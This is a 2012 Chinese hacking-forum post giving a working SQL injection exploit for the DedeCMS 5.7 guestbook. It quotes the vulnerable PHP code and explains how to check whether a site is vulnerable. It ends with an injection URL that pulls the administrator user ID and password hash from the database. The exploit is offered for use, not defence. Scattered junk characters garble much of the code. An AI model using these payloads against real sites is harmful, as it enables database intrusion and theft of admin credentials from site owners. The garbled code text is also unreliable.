中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
: Z8 K+ h5 N& Y/ x0 _6 j, f& Z/ N$ ?3 y
漏洞文件edit.inc.php具体代码:
8 f2 G: d: {3 k% Z9 D( h
1 i% X# x+ l! y9 v, x- ~& h0 b8 ^+ f, A< ?php  
+ K/ w8 e) d2 y6 ^' Y2 A7 A% M9 M& a3 U9 P4 y" @: c, R. V4 c
if(!defined('DEDEINC')) exit('Request Error!');  
2 C5 o+ F+ T0 z/ E* T) {2 p* X
. W' D% j  Y1 C! ^   
7 @. T# @7 c! Y' a, ^3 J* e
7 F# c5 f) j1 g0 \( bif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% a* Q: V6 q7 H4 f& T5 R1 `1 |- b9 O7 B2 |  d+ W& P0 z8 x
else $GUEST_BOOK_POS = "guestbook.php";  
3 B5 e; l, ]$ {5 T+ v( J* G
" U3 K5 g9 Y& m$ ?   ( Q6 c' D! |4 _, q

5 }* h6 e- s: w! |7 a$id = intval($id);  $ V8 ~+ Y( H2 B8 K, j$ O
* \- @, t: j" x3 Y3 {
if(empty($job)) $job='view';  3 e$ G  b  F, L3 @8 {! P

: A5 r% f9 ^& d: s   " H8 R; U, s: z) e

! [" e4 P  W6 c8 N8 Wif($job=='del' && $g_isadmin)  " g9 k" L# U+ B9 y

. t8 f  k9 G+ H$ _% h/ Z. u, N{  
# d* G1 w  d6 `9 Z8 x* S5 z, {  g! n
7 ~5 w! I- @( R: Y% b$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
. k0 T  _- r& B* L
/ y4 p6 V4 }. c5 \- s+ C1 M" sShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
5 q9 @. o+ y) F7 X) \* S$ U& Y- \$ y# L  M$ u- _* V: a
exit();  ) {+ p) c" S0 ?, n" y' D
" H, U, e: i  M! R
}  7 n/ G4 i6 h: B
* p4 j8 B8 N& x! U* A0 `
else if($job=='check' && $g_isadmin)  
- K% Y0 c% e- G
- ]$ ]- L( y, C8 m# u{  
, o6 j' n. C( Z6 i! ]# q# Q( D& Z- R/ H5 I9 D  A( J+ a
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ; C3 n; W) p& {1 ]2 [

: Q/ |/ v) i0 `) S% t' g, IShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  0 g! P% L* r& ?  x$ }

: [4 ~1 T4 X& V: s' N6 yexit();  7 W. A/ p" y; ]' P# Q- z' Y! Z

  F, T: ~' c' F}  7 x' X. M6 ~, w) D/ Y

- g  c6 E+ g+ l) U' N8 d5 G1 lelse if($job=='editok')  $ C( T) Q- Y/ c+ ]; v+ J+ a

* P5 c4 l6 r2 l{  ! j4 n" k" ^% j& m6 _
7 n1 v4 I5 e. Z' w. N9 F7 B3 o! w9 }
$remsg = trim($remsg);  - {1 t7 G0 ]% k4 w1 @7 n7 x0 A

" S& X9 b; W) m. _if($remsg!='')  ' T1 N  ~- v* R4 a- t4 z2 D
9 o1 F: d$ v% {2 K
{  + ~) s7 Y' Z3 O  c6 j# D
5 Y7 q7 E# G+ v, D  H7 c
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ) Q( \' t* Y* M4 ?; u$ h0 o3 t
! b, j0 A  p! i. S/ e
if($g_isadmin)  
) W# b5 M% h2 \  e; ?$ d' b& n6 J3 r5 G
{  
0 O7 c# E1 M' h% t! r7 s3 p
2 q* i: G+ @4 G1 ]$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  % r0 @5 j3 Q6 q3 `/ E$ m" y6 @! b) G

, Y9 \6 l( S/ Z( s- i//$remsg <br /><font color=red>管理员回复:</font> }  + V9 |/ h, D9 @3 M- ^" r

2 c$ s+ G0 z, G* p2 K; H0 G  welse ; T$ j* R( l6 _. r- n# P( J* ^

* C+ S  G8 F$ }* A{  
- F: q9 i) Y1 P8 ^5 y  }
+ H5 J+ ]3 f( k/ n6 X# C$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
  H. F% D% a7 v7 Y+ f
! S& c  q+ M) o$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  9 |5 m+ ?! B$ {0 a  x

5 b# Q- {$ l) S7 I. V$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  ' s, a5 q! C0 [* ?  v" G) [/ x' f

; p8 R" `/ J4 }6 m0 t4 p4 t$msg = $oldmsg.$remsg;  ' C! D% L9 G& v3 D
7 E' s; c" |  y( e8 O- V& t
}  
7 l) l) r6 x  }; H3 v9 c0 u0 }6 v( ?
}  5 m. l3 l6 p' M. q2 z( d" X0 u3 J4 ~
; |, r! S  j! g+ b. [. |
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
: W1 A- b" v8 c# G7 \, x% \+ m' M7 g' l) L6 A8 Z  X2 ?% d
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  , I( v. e$ S) @! A4 G( V! m$ [0 `
6 ?2 V  a) Z9 n1 W3 E$ d
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);    w% }0 Z' i- c  |( Y& T

% Z$ ^' o! ?$ e) w1 q9 A1 gexit();  
0 x, K0 E$ _+ U& N
* i& j/ ?) q! x% l$ O}  0 ~3 F' T! C% `+ h  p) w* {2 q# j
( T0 H/ n; n) K* m5 ~/ O# V
//home:www.errs.cc  
( _" u6 W: D6 c( f
9 a1 H1 ]  H0 F* c, l3 x6 |if($g_isadmin)  
' H/ [/ Z! g: Q7 q6 m& E/ ]4 `8 s% u
{  
2 }* L8 e& Q+ d% o. k- w! Q# `* ^' C4 p- P" k# Q4 J
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
: G# W2 [3 }3 z( Y' u7 W+ C  ^, V$ `! Z2 f
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
. L0 X0 B* E+ m% w
+ M* g4 Z$ ]; f8 f, [}  $ M8 v" P- S7 X! Q& C

# ]$ X9 p  W& @) `0 X4 |2 }% Telse
. x" X; [5 [0 n; |4 c2 s3 t
2 N3 f' a$ I: }! @. V- s{  
4 c( u/ e$ }+ ~( Z
' h, {# w' Y8 X$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: [9 r! X6 L+ M  l0 S2 l1 r: [6 b. R
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  9 Q% _% }* m7 t! Q# M
$ t: u/ o# V  V6 S9 _3 I; |' ]
} 漏洞成功需要条件:
! ~9 E9 m1 K+ M6 G4 u1 L4 X1. php magic_quotes_gpc=off" P4 a' d: h% X4 n7 X8 |
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( ~7 Q, N8 R+ Q( R

) W6 u- f2 z1 G+ D' y, N# E+ Y怎么判断是否存在漏洞:0 @4 s- @, Z# ?! G
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
; J6 K* S: N- ]* e/ ~  \$ D, ~然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID- }& c- K$ e1 {6 ], Q: @+ b1 S
访问:
- W) o+ a- N2 u3 c/ e# L; e. |2 u, X! l, \. L, z' N
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了; V" s# e* v) R- E- m2 y0 k- Q
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证. i( A! u7 _. p
  u( K0 Z+ \- }! @" V

/ F% u6 A' m7 W. v2 B$ H明漏洞无法利用应为他开启了 php magic_quotes_gpc=off0 i# i# c2 c8 l$ r
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。$ @: ~# R1 d8 O& w! d% @9 Z1 W4 e) i
那么再次访问
1 C5 D, A4 f4 j6 Z$ Q( `5 n% O6 t1 X# v% ^. f
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().5 B2 x/ ^- k  c- j( J, L& o5 y

" d4 [8 y: y$ z6 C; ^4 I大概利用就是这样,大家有兴趣的多研究下!!
7 ]4 k& u0 h* q% i( d1 u4 A7 w$ C. {9 S: U: s5 U# j
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!( J$ @% U& j% F. k0 r
/ q# H: F4 n# k$ {" ~0 U* e
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2